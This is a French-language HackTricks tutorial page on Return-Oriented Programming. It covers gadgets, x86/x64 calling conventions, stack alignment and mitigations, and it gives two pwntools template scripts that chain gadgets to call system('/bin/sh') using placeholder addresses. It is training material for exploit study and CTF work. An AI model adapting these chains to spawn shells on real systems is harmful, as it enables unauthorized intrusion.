ROP - Programmation Orientée Retour
Reading time: 10 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Informations de Base
Programmation Orientée Retour (ROP) est une technique d'exploitation avancée utilisée pour contourner des mesures de sécurité telles que No-Execute (NX) ou Data Execution Prevention (DEP). Au lieu d'injecter et d'exécuter du shellcode, un attaquant exploite des morceaux de code déjà présents dans le binaire ou dans des bibliothèques chargées, connus sous le nom de "gadgets". Chaque gadget se termine généralement par une instruction ret
et effectue une petite opération, comme déplacer des données entre des registres ou effectuer des opérations arithmétiques. En enchaînant ces gadgets, un attaquant peut construire un payload pour effectuer des opérations arbitraires, contournant ainsi efficacement les protections NX/DEP.
Comment fonctionne ROP
- Détournement du Flux de Contrôle : Tout d'abord, un attaquant doit détourner le flux de contrôle d'un programme, généralement en exploitant un débordement de tampon pour écraser une adresse de retour sauvegardée sur la pile.
- Enchaînement de Gadgets : L'attaquant sélectionne ensuite soigneusement et enchaîne des gadgets pour effectuer les actions souhaitées. Cela peut impliquer la configuration des arguments pour un appel de fonction, l'appel de la fonction (par exemple,
system("/bin/sh")
), et la gestion de tout nettoyage ou opérations supplémentaires nécessaires. - Exécution du Payload : Lorsque la fonction vulnérable retourne, au lieu de retourner à un emplacement légitime, elle commence à exécuter la chaîne de gadgets.
Outils
Typiquement, les gadgets peuvent être trouvés en utilisant ROPgadget, ropper ou directement à partir de pwntools (ROP).
Exemple de Chaîne ROP en x86
x86 (32 bits) Conventions d'appel
- cdecl : L'appelant nettoie la pile. Les arguments de fonction sont poussés sur la pile dans l'ordre inverse (de droite à gauche). Les arguments sont poussés sur la pile de droite à gauche.
- stdcall : Semblable à cdecl, mais l'appelé est responsable du nettoyage de la pile.
Recherche de Gadgets
Tout d'abord, supposons que nous avons identifié les gadgets nécessaires dans le binaire ou ses bibliothèques chargées. Les gadgets qui nous intéressent sont :
pop eax; ret
: Ce gadget extrait la valeur du haut de la pile dans le registreEAX
et retourne, nous permettant de contrôlerEAX
.pop ebx; ret
: Semblable à ce qui précède, mais pour le registreEBX
, permettant le contrôle deEBX
.mov [ebx], eax; ret
: Déplace la valeur dansEAX
vers l'emplacement mémoire pointé parEBX
et retourne. Cela est souvent appelé un gadget write-what-where.- De plus, nous avons l'adresse de la fonction
system()
disponible.
Chaîne ROP
En utilisant pwntools, nous préparons la pile pour l'exécution de la chaîne ROP comme suit, visant à exécuter system('/bin/sh')
, notez comment la chaîne commence par :
- Une instruction
ret
pour des raisons d'alignement (optionnel) - Adresse de la fonction
system
(supposant ASLR désactivé et libc connue, plus d'infos dans Ret2lib) - Espace réservé pour l'adresse de retour de
system()
- Adresse de la chaîne
"/bin/sh"
(paramètre pour la fonction system)
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de
# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
Chaîne ROP dans l'exemple x64
x64 (64 bits) Conventions d'appel
- Utilise la convention d'appel System V AMD64 ABI sur les systèmes de type Unix, où les six premiers arguments entiers ou pointeurs sont passés dans les registres
RDI
,RSI
,RDX
,RCX
,R8
etR9
. Les arguments supplémentaires sont passés sur la pile. La valeur de retour est placée dansRAX
. - La convention d'appel Windows x64 utilise
RCX
,RDX
,R8
etR9
pour les quatre premiers arguments entiers ou pointeurs, avec des arguments supplémentaires passés sur la pile. La valeur de retour est placée dansRAX
. - Registres : Les registres 64 bits incluent
RAX
,RBX
,RCX
,RDX
,RSI
,RDI
,RBP
,RSP
, etR8
àR15
.
Trouver des Gadgets
Pour notre objectif, concentrons-nous sur les gadgets qui nous permettront de définir le registre RDI (pour passer la chaîne "/bin/sh" comme argument à system()) et ensuite appeler la fonction system(). Nous supposerons que nous avons identifié les gadgets suivants :
- pop rdi; ret : Dépile la valeur du haut de la pile dans RDI et retourne ensuite. Essentiel pour définir notre argument pour system().
- ret : Un simple retour, utile pour l'alignement de la pile dans certains scénarios.
Et nous connaissons l'adresse de la fonction system().
Chaîne ROP
Ci-dessous un exemple utilisant pwntools pour configurer et exécuter une chaîne ROP visant à exécuter system('/bin/sh') sur x64 :
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef
# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
Dans cet exemple :
- Nous utilisons le gadget
pop rdi; ret
pour définirRDI
à l'adresse de"/bin/sh"
. - Nous sautons directement à
system()
après avoir définiRDI
, avec l'adresse de system() dans la chaîne. ret_gadget
est utilisé pour l'alignement si l'environnement cible l'exige, ce qui est plus courant en x64 pour garantir un alignement correct de la pile avant d'appeler des fonctions.
Alignement de la pile
L'ABI x86-64 garantit que la pile est alignée sur 16 octets lorsqu'une instruction d'appel est exécutée. LIBC, pour optimiser les performances, utilise des instructions SSE (comme movaps) qui nécessitent cet alignement. Si la pile n'est pas correctement alignée (c'est-à-dire que RSP n'est pas un multiple de 16), les appels à des fonctions comme system échoueront dans une chaîne ROP. Pour corriger cela, il suffit d'ajouter un gadget ret avant d'appeler system dans votre chaîne ROP.
Différence principale entre x86 et x64
tip
Étant donné que x64 utilise des registres pour les premiers arguments, il nécessite souvent moins de gadgets que x86 pour des appels de fonction simples, mais trouver et enchaîner les bons gadgets peut être plus complexe en raison du nombre accru de registres et de l'espace d'adressage plus large. Le nombre accru de registres et l'espace d'adressage plus large dans l'architecture x64 offrent à la fois des opportunités et des défis pour le développement d'exploits, en particulier dans le contexte de la programmation orientée retour (ROP).
Exemple de chaîne ROP en ARM64
Bases ARM64 & conventions d'appel
Consultez la page suivante pour ces informations :
Protections contre ROP
- ASLR & PIE : Ces protections rendent l'utilisation de ROP plus difficile car les adresses des gadgets changent entre les exécutions.
- Stack Canaries : En cas de BOF, il est nécessaire de contourner les canaris de pile pour écraser les pointeurs de retour afin d'abuser d'une chaîne ROP.
- Manque de gadgets : S'il n'y a pas assez de gadgets, il ne sera pas possible de générer une chaîne ROP.
Techniques basées sur ROP
Notez que ROP est juste une technique pour exécuter du code arbitraire. Basé sur ROP, de nombreuses techniques Ret2XXX ont été développées :
- Ret2lib : Utiliser ROP pour appeler des fonctions arbitraires d'une bibliothèque chargée avec des paramètres arbitraires (généralement quelque chose comme
system('/bin/sh')
.
- Ret2Syscall : Utiliser ROP pour préparer un appel à un syscall, par exemple
execve
, et le faire exécuter des commandes arbitraires.
- EBP2Ret & EBP Chaining : Le premier abus sera EBP au lieu de EIP pour contrôler le flux et le second est similaire à Ret2lib mais dans ce cas, le flux est contrôlé principalement avec des adresses EBP (bien qu'il soit également nécessaire de contrôler EIP).
Stack Pivoting - EBP2Ret - EBP chaining
Autres exemples et références
- https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions
- https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html
- 64 bits, Pie et nx activés, pas de canari, écraser RIP avec une adresse
vsyscall
dans le seul but de revenir à l'adresse suivante dans la pile qui sera un écrasement partiel de l'adresse pour obtenir la partie de la fonction qui fuit le drapeau. - https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, pas d'ASLR, gadget ROP pour rendre la pile exécutable et sauter au shellcode dans la pile.
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.